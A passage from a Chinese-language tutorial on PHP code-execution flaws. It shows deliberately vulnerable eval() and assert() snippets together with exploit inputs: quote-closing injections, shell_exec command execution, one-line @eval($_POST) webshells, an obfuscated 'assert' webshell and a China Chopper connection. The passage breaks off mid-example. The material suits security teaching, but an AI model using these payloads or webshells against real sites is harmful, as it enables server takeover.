一、 漏洞产生的原因
PHP脚本语言简洁,方便,但也与此同时伴随着一些问题,例如速度慢,无法解除系统底层等等。在web程序中,有时候程序员为了代码的灵活性与简洁性,会适当调用代码执行的函数执行。但由于没有充分考虑到用户是否会使用与控制,最终导致web应用存在代码执行漏洞。
二、 漏洞产生的常见函数
2.1 eval()
eval(phpcode)
eval() —— 把字符串按照 PHP 代码来计算。
(1) 直接利用漏洞源码:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>
漏洞利用:?data=phpinfo()
(2)闭合绕过
- 例子1:
<?php
$data = $_GET['data'];
eval("\$ret = \"$data\";");
echo $ret;
?>
漏洞利用:
- ?data=";phpinfo();")//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=");@eval($_POST[x]);//
- 例子2:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower('$data');");
?>
漏洞利用:
- ?data=’);phpinfo();//
- ?data=’);$cmd=shell_exec(‘systeminfo’);echo “<pre>{$cmd}</pre>”;//
- 例子3:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
?>
漏洞利用:
- ?data=");phpinfo();//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=${@eval($_POST[x])}
2.2 assert()
assert — 检查一个断言是否为 false
ps: assert($a)只能单行执行
- 例子1:
<?php
$aaa = "abbbsbbsbbebbrbbt";
$ccc = str_replace('b','',$aaa); ///$ccc="assert"
$ccc($_POST[1]);
漏洞利用:
- POST方法 1=phpinfo();
- 菜刀连接
- 例子2:
利用assert写木马
服务器代码: